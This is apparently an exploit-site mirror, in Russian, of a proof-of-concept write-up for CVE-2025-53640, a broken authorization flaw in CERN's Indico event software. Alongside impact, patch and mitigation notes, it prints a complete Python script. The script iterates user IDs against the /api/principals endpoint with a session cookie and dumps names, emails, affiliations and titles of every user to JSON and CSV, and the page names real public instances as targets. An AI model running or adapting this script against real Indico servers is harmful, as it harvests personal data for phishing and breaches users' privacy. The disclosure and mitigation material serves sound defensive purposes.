## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-RAFAELCORVINO1-CVE-2025-53640
# CVE-2025-53640 – Перечисление аутентифицированных пользователей в Indico CERN (Уязвимость BOLA)


PoC и технический анализ CVE-2025-53640: уязвимость типа Broken Object Level Authorization (BOLA) в Indico позволяет перечислять аутентифицированных пользователей через конечную точку, раскрывая имена, адреса электронной почты и принадлежности. Включает скрипт эксплуатации, анализ запросов и скриншоты. Затрагивает глобально развернутые экземпляры Indico (Европейская организация по ядерным исследованиям (CERN), Организация Объединенных Наций (ООН), Массачусетский технологический институт (MIT), Европейское космическое агентство (ESA) и другие).
## Описание
Уязвимость типа Broken Object Level Authorization (BOLA) в приложении с открытым исходным кодом _Indico_ позволяет массовое перечисление пользователей через конечную точку.
Изначально предназначенная для разрешения идентификаторов пользователей в определенных полях формы, эта конечная точка может быть использована для получения личных данных **любого действительного идентификатора пользователя** :
* Полное имя
* Адрес электронной почты
* Должность
* Принадлежность
* URL аватара
Уязвимость была сообщена и подтверждена мейнтейнерами Indico, и официально отслеживается как CVE-2025-53640
## Требования к эксплуатации
* Требуется действительная аутентифицированная сессия.
* Однако большинство публичных экземпляров Indico позволяют самостоятельную регистрацию без проверки электронной почты, CAPTCHA или ручного одобрения.
* Это делает уязвимость **практически эксплуатируемой неаутентифицированными пользователями** после тривиального создания учетной записи.
## Глобальное воздействие
Indico — широко используемая платформа управления мероприятиями и конференциями, разработанная CERN (Европейская организация по ядерным исследованиям), обеспечивающая работу академической и институциональной инфраструктуры по всему миру:
* **CERN (Европейская организация по ядерным исследованиям):** Более 900 000 мероприятий ежегодно; 200+ комнат бронируется ежедневно.
* **По всему миру:** Около 145 000 мероприятий/год в более чем 300 учреждениях.
* **ООН (Организация Объединенных Наций):** Более 180 000 участников/год.
* **ЮНОГ (Отделение ООН в Женеве):** До 700 000 пользователей/год.
* Широко используется университетами, лабораториями, исследовательскими институтами и государственными учреждениями.
Примеры затронутых публичных экземпляров:
* https://indico.cern.ch
* https://indico.esa.int
* https://indico.mit.edu
Из-за широкого распространения в **научной, академической и государственной** средах эта уязвимость представляет серьезные риски:
* Утечка личных данных исследователей, сотрудников и администраторов
* Масштабные нарушения конфиденциальности и раскрытие институциональных каталогов
* Целенаправленная разведка для фишинга или социальной инженерии
* Возможная компрометация чувствительных исследовательских и политических инициатив
## Воздействие
* Раскрытие личных данных (PII)
* Перечисление привилегированных пользователей (администраторы, организаторы)
* Поддержка массовых фишинговых и целевых фишинговых операций
* Нарушает такие нормативные акты, как **GDPR** , **LGPD** и внутренние институциональные политики
* Может быть признано подлежащим отчетности нарушением в зависимости от юрисдикции
## Патч
Проблема была исправлена в **Indico v3.3.7**.
По словам мейнтейнеров, поведение конечной точки было изменено, чтобы предотвратить массовую выгрузку данных пользователей (имя, принадлежность и email) через предсказуемые ID. Также был введен новый флаг конфигурации `ALLOW_PUBLIC_USER_SEARCH`.
Дополнительные меры смягчения включают:
* Ограничение проверок email при регистрации
* Отключение разрешения ссылок на лиц при отключенном публичном поиске
* Добавление предупреждений в интерфейсе для мероприятий без ACL при ограниченном поиске
## Доказательство концепции (PoC)
### Эксплойт
root@kitploit:~
#!/usr/bin/env python3
import requests
import json
import csv
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
url = "https://indico.<URL>/api/principals"
headers = {
"Cookie": "indico_session=YOUR_SESSION_COOKIE_HERE",
"Content-Type": "application/json",
"X-Csrf-Token": "YOUR_CSRF_TOKEN_HERE"
}
def enumerate_users(max_errors=10):
user_id = 1
errors = 0
results = []
while errors < max_errors:
payload = {"values": [f"User:{user_id}"]}
response = requests.post(url, headers=headers, data=json.dumps(payload), verify=False)
if response.status_code == 200:
data = response.json()
key = f"User:{user_id}"
if key in data and not data[key].get("invalid", True):
user = data[key]
print(f"[+] ID {user_id}: {user['first_name']} {user['last_name']} - {user['email']}")
results.append({
"user_id": user_id,
"name": f"{user['first_name']} {user['last_name']}",
"email": user["email"],
"affiliation": user["affiliation"],
"title": user["title"],
"avatar_url": user["avatar_url"]
})
errors = 0
else:
print(f"[-] ID {user_id}: Invalid")
errors += 1
else:
print(f"[!] ID {user_id}: HTTP Error {response.status_code}")
errors += 1
user_id += 1
with open("enumerated_users.json", "w", encoding="utf-8") as jf:
json.dump(results, jf, indent=2, ensure_ascii=False)
with open("enumerated_users.csv", "w", newline="", encoding="utf-8") as cf:
writer = csv.DictWriter(cf, fieldnames=["user_id", "name", "email", "affiliation", "title", "avatar_url"])
writer.writeheader()
writer.writerows(results)
print("Enumeration finished.")
if __name__ == "__main__":
enumerate_users()
 
## Рекомендации по смягчению
* Ограничьте доступ к конечной точке на основе роли или контекста
* Установите `ALLOW_PUBLIC_USER_SEARCH = false` в `indico.conf`
* Ограничьте раскрываемые поля пользователя только необходимыми
* Отключите или ограничьте самостоятельную регистрацию (например, проверка email, одобрение администратором)
* Включите мониторинг и ограничение частоты запросов на конечной точке
* Немедленно обновитесь до **Indico 3.3.7** или новее
* Отслеживайте журналы доступа на предмет шаблонов перечисления
## CVE
Официальный ID: **CVE-2025-53640**
## Раскрытие
Эта уязвимость была обнаружена в ходе оценки безопасности, проведенной в рамках **программы стажировки Red Team в RNP (Rede Nacional de Ensino e Pesquisa – Бразилия)**.
Все исследования и тестирование выполнялись с предварительного разрешения и под надзором. Особая благодарность **команде безопасности RNP** за предоставление этических рекомендаций и инфраструктурной поддержки.
Данный CVE подчеркивает важность обеспечения строгого контроля доступа на уровне объектов на платформах, управляющих конфиденциальными институциональными данными.
## Ссылки
* GitHub Security Advisory – GHSA-q28v-664f-q6wj
* Indico Commit f858355
* NVD Record
* CVE.org Registry
* Indico Config: ALLOW_PUBLIC_USER_SEARCH
* Indico Upgrade Guide
* Release Notes – v3.3.7